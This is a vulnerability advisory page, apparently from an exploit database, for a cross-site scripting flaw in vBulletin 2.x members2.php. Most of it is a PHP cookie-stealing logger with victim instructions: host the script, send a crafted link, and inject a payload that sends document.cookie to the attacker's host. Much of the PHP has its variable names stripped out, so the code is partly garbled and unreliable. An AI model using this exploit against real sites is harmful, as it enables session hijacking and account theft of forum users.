VBulletin 2.0.x/2.2.x members2.php Cross Site Scripting Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
VBulletin 2.0.x/2.2.x members2.php Cross Site Scripting Vulnerability exploited to steal cookie-based authentication

                                                source: http://www.securityfocus.com/bid/6246/info

Due to insufficient sanitization of user supplied values, it is possible to exploit a vulnerability in VBulletin. By passing an invalid value to a variable located in &#39;members2.php&#39;, it is possible to generate an error page which will include attacker-supplied HTML code which will be executed in a legitimate users browser.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. The attacker may use cookie-based authentication credentials to hijack the session of the legitimate user.

    - Run this script on some host:

    &#60;?PHP

      // vBulletin XSS Injection Vulnerability: Exploit
      // ---
      // Coded By  : Sp.IC ([email protected]).
      // Descrption: Fetching vBulletin&#39;s cookies and storing it into a
log file.

      // Variables:

       = &#34;Cookies.Log&#34;;

      // Functions:

      /*

      If ([&#39;Action&#39;] = &#34;Log&#34;) {

           = &#34;&#60;!--&#34;;
           = &#34;---&#62;&#34;;

      }
      Else {

            = &#34;&#34;;
            = &#34;&#34;;

      }

      Print ();

      */

      Print (&#34;&#60;Title&#62;vBulletin XSS Injection Vulnerability:
Exploit&#60;/Title&#62;&#34;);
      Print (&#34;&#60;Pre&#62;&#34;);
      Print (&#34;&#60;Center&#62;&#34;);
      Print (&#34;&#60;B&#62;vBulletin XSS Injection Vulnerability: Exploit&#60;/B&#62;\n&#34;);
      Print (&#34;Coded By: &#60;B&#62;&#60;A
Href=\&#34;MailTo:[email protected]\&#34;&#62;Sp.IC&#60;/A&#62;&#60;/B&#62;&#60;Hr Width=\&#34;20%\&#34;&#62;&#34;);

      /*

      Print ();

      */

      Switch ([&#39;Action&#39;]) {

          Case &#34;Log&#34;:

                  = [&#39;Cookie&#39;];

                  = StrStr (, SubStr (, BCAdd (0x0D,
StrLen (DecHex (MD5 (NULL))))));

                   = FOpen  (, &#34;a+&#34;);
                         FWrite (, Trim () . &#34;\n&#34;);
                         FClose ();

                         Print   (&#34;&#60;Meta HTTP-Equiv=\&#34;Refresh\&#34;
Content=\&#34;0; URL=&#34; . [&#39;HTTP_REFERER&#39;] . &#34;\&#34;&#62;&#34;);

          Break;

          Case &#34;List&#34;:

                 If (!File_Exists () || !In_Array ()) {

                     Print (&#34;&#60;Br&#62;&#60;Br&#62;&#60;B&#62;There are No
Records&#60;/B&#62;&#60;/Center&#62;&#60;/Pre&#62;&#34;);

                     Exit  ();

                 }
                 Else {

                     Print (&#34;&#60;/Center&#62;&#60;/Pre&#62;&#34;);

                      = Array_UniQue (File ());

                     Print (&#34;&#60;Pre&#62;&#34;);

                     Print (&#34;&#60;B&#62;.:: Statics&#60;/B&#62;\n&#34;);
                     Print (&#34;\n&#34;);

                     Print (&#34;^ Logged Records : &#60;B&#62;&#34; . Count (File
()) . &#34;&#60;/B&#62;\n&#34;);
                     Print (&#34;^ Listed Records : &#60;B&#62;&#34; . Count

() . &#34; &#60;/B&#62;[Not Counting Duplicates]\n&#34;);
                     Print (&#34;\n&#34;);

                     Print (&#34;&#60;B&#62;.:: Options&#60;/B&#62;\n&#34;);
                     Print (&#34;\n&#34;);

                     If (Count (File ()) &#62; 0) {

                         [&#39;Download&#39;] = &#34;[&#60;A Href=\&#34;&#34; .
 . &#34;\&#34;&#62;Download&#60;/A&#62;]&#34;;

                     }
                     Else{

                         [&#39;Download&#39;] = &#34;[No Records in Log]&#34;;

                     }

                     Print (&#34;^ Download Log   : &#34; . 
[&#39;Download&#39;] . &#34;\n&#34;);
                     Print (&#34;^ Clear Records  : [&#60;A Href=\&#34;&#34; .
 . &#34;?Action=Delete\&#34;&#62;Y&#60;/A&#62;]\n&#34;);
                     Print (&#34;\n&#34;);

                     Print (&#34;&#60;B&#62;.:: Records&#60;/B&#62;\n&#34;);
                     Print (&#34;\n&#34;);

                     While (List ([0], [1]) = Each ()) {

                         Print (&#34;&#60;B&#62;&#34; . [0] . &#34;: &#60;/B&#62;&#34; . [1]);

                     }

                 }

                 Print (&#34;&#60;/Pre&#62;&#34;);

          Break;

          Case &#34;Delete&#34;:

              @UnLink ();

              Print   (&#34;&#60;Br&#62;&#60;Br&#62;&#60;B&#62;Deleted
Succsesfuly&#60;/B&#62;&#60;/Center&#62;&#60;/Pre&#62;&#34;) Or Die (&#34;&#60;Br&#62;&#60;Br&#62;&#60;B&#62;Error: Cannot Delete
Log&#60;/B&#62;&#60;/Center&#62;&#60;/Pre&#62;&#34;);

              Print   (&#34;&#60;Meta HTTP-Equiv=\&#34;Refresh\&#34; Content=\&#34;3; URL=&#34; .
[&#39;HTTP_REFERER&#39;] . &#34;\&#34;&#62;&#34;);

          Break;

      }

    ?&#62;
    - Give a victim this link: member2.php?s=[Session]
&action=viewsubscription&perpage=[Script Code]

    - Note: You can replace [Script Code] with: --
&#62;&#60;Script&#62;location=&#39;Http://[Exploit Path]?Action=Log&Cookie=&#39;+
(document.cookie);&#60;/Script&#62;

    - Then go to Http://[Exploit Path]?Action=List
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1